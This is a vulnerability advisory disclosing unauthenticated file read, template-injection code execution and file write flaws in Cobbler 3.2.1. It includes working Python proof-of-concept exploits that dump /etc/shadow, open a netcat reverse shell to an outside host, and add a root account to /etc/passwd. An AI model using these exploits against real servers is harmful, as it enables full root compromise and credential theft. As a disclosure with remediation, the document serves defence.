Introduction
From cobbler.github.io:
Cobbler is a Linux installation server that allows for rapid setup of network installation environments. Hundreds of companies, universities and government organizations rely on Cobbler every day to build their infrastructure.
Threat
We discovered several vulnerabilities allowing unauthenticated users to read/write files and execute arbitrary command as root on the latest version of Cobbler (3.2.1).
CVSS Scoring
- Risk: 10.0 (Critical)
- Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected versions
- Cobbler <= 3.2.1
Assigned CVEs
- CVE-2021-40323: Arbitrary file disclosure/Template Injection
- CVE-2021-40324: Arbitrary file write
Vulnerabilities details
Arbitrary file disclosure/Template Injection
Cobbler exposes an XMLRPC API interface allowing users to request some information without authentication.
We discovered that the generate_script
RPC method could be used to get arbitrary files on the system.
# cobbler/remote.py:2226
def generate_script(self, profile=None, system=None, name=None, **rest):
return self.api.generate_script(profile, system, name)
# cobbler/api.py:1306
def generate_script(self, profile, system, name):
if system:
return self.tftpgen.generate_script("system", system, name)
else:
return self.tftpgen.generate_script("profile", profile, name)
# cobbler/tftpgen.py:1189
def generate_script(self, what: str, objname: str, script_name) -> str:
# [...]
template = os.path.normpath(os.path.join("/var/lib/cobbler/scripts", script_name))
if not os.path.exists(template):
return "# script template %s not found" % script_name
template_fh = open(template)
template_data = template_fh.read()
template_fh.close()
return self.templar.render(template_data, blended, None)
The name
parameter is not sanitized before being passed to os.path.join
and then open
.
That way, we can abuse this RPC method to read arbitrary files as root.
import xmlrpc.client
import traceback
def try_connect(url):
try:
xmlrpc_server = xmlrpc.client.ServerProxy(url)
return xmlrpc_server
except:
traceback.print_exc()
return None
if __name__ == '__main__':
api = try_connect("http://[cobbler_server]/cobbler_api")
profiles = api.get_profiles()
if len(profiles) > 0:
target = profiles[0]["name"]
print(api.generate_script(target, "", "/etc/shadow"))
else:
print("No profiles")
Because the file is rendered using a template engine (by default, Cheetah), we could perform a template injection in order to gain arbitrary code execution.
Cheetah allows templates to execute arbitrary Python code, so no needs for a Sandbox escape or tricky object manipulation.
However, we still need to write an arbitrary template code to the filesystem.
We found that the easiest way to do that is to perform a log poisoning attack.
In the cobbler/remote.py
file, many endpoints are calling the _log
method that writes some RPC parameters in the cobbler log file.
Using the endpoint of our choice, we can manipulate the cobbler log file, and then, evaluate this file as a template using this vulnerability.
import xmlrpc.client
import traceback
def try_connect(url):
try:
xmlrpc_server = xmlrpc.client.ServerProxy(url)
return xmlrpc_server
except:
traceback.print_exc()
return None
if __name__ == '__main__':
exploitcode = '__import__(\'os\').system(\'nc [tnpitsecurity] 4242 -e /bin/sh\')'
api = try_connect("http://[cobbler_server]/cobbler_api")
profiles = api.get_profiles()
if len(profiles):
print("Found a valid profile, exploiting...")
target = profiles[0]["name"]
print("[+] Stage 1 : Poisoning log with Cheetah template RCE")
print(api.generate_script(target, "", '{<%= ' + exploitcode + ' %>}'))
print("[+] Stage 2 : Rendering template using an arbitrary file read.")
print(api.generate_script(target, "", "/proc/self/fd/5"))
/proc/self/fd/5 is the file descriptor pointing to the cobbler log file.
Because Cobblerd is running as root, we have complete access to the deployment server.
Arbitrary file write
Cobblerd supports anamon: a script that automatically logs details from an Anaconda install back to a cobbler server .
If the anamon_enabled
setting is enabled, we can call the upload_log_data
XMLRPC function that is used to send anamon
log files.
# cobbler/remote.py:2577
def upload_log_data(self, sys_name, file, size, offset, data, token=None, **rest):
if not self.api.settings().anamon_enabled:
# feature disabled!
return False
# Find matching system record
systems = self.api.systems()
obj = systems.find(name=sys_name)
if obj is None:
# system not found!
self._log("upload_log_data - WARNING - system '%s' not found in Cobbler" % sys_name, token=token,
name=sys_name)
return self.__upload_file(sys_name, file, size, offset, data)
def __upload_file(self, sys_name, file, size, offset, data):
contents = base64.decodestring(data)
del data
if offset != -1:
if size is not None:
if size != len(contents):
return False
# XXX - have an incoming dir and move after upload complete
# SECURITY - ensure path remains under uploadpath
tt = str.maketrans("/", "+")
fn = str.translate(file, tt)
if fn.startswith('..'):
raise CX("invalid filename used: %s" % fn)
# FIXME ... get the base dir from cobbler settings()
udir = "/var/log/cobbler/anamon/%s" % sys_name
if not os.path.isdir(udir):
os.mkdir(udir, 0o755)
fn = "%s/%s" % (udir, fn)
[...]
fd = os.open(fn, os.O_RDWR | os.O_CREAT, 0o644)
[Write file content]
The __upload_file
function sanitize the file
parameter (replace /
and restrict ..
). However the sys_name
user-supplied parameter is not checked.
Even if sys_name
is invalid, the log file is still saved.
import xmlrpc.client
import traceback
import base64
def try_connect(url):
try:
xmlrpc_server = xmlrpc.client.ServerProxy(url)
return xmlrpc_server
except:
traceback.print_exc()
return None
if __name__ == '__main__':
api = try_connect("http://[cobbler_server]/cobbler_api")
exploit = b"cha:!:0:0:cha:/:/bin/bash\n"
print(api.upload_log_data("../../../../../../etc", "passwd", len(exploit), 100000, base64.b64encode(exploit)))
Using this exploit, we can manipulate any file on the system as root.
Due to a change in the Python XMLRPC API, this PoC may not work against servers using a recent Python version (Binary type used instead of bytes).
Remediation
Update to Cobbler 3.2.2 / 3.3.0.
- Release notes: https://cobbler.github.io/blog/2021/09/21/cobbler_3.3.0_released.html
- Merge request: https://github.com/cobbler/cobbler/pull/2794
- Issue: https://github.com/cobbler/cobbler/issues/2795
We would like to thank SUSE LLC for quickly and seriously handling this vulnerability.
Timeline (dd/mm/yyyy)
- 13/08/2021: Initial contact with the Cobbler project maintainer
- 18/08/2021: Vulnerability confirmed by SUSE Security Team
- 23/08/2021: Patch provided by the SUSE Security Team
- 30/08/2021: Regression with the patch
- 03/09/2021: CVE-2021-40323 / CVE-2021-40324 assigned by SUSE
- 20/09/2021: Public disclosure by the Cobbler project (https://github.com/cobbler/cobbler/issues/2795)
- 21/09/2021: Cobbler 3.3.0 released (https://github.com/cobbler/cobbler/releases/tag/v3.3.0)
- 21/09/2021: Public disclosure by TNP IT Security
Credits
- Nicolas Chatelain, TNP IT Security: nicolas.chatelain -at- tnpconsultants.com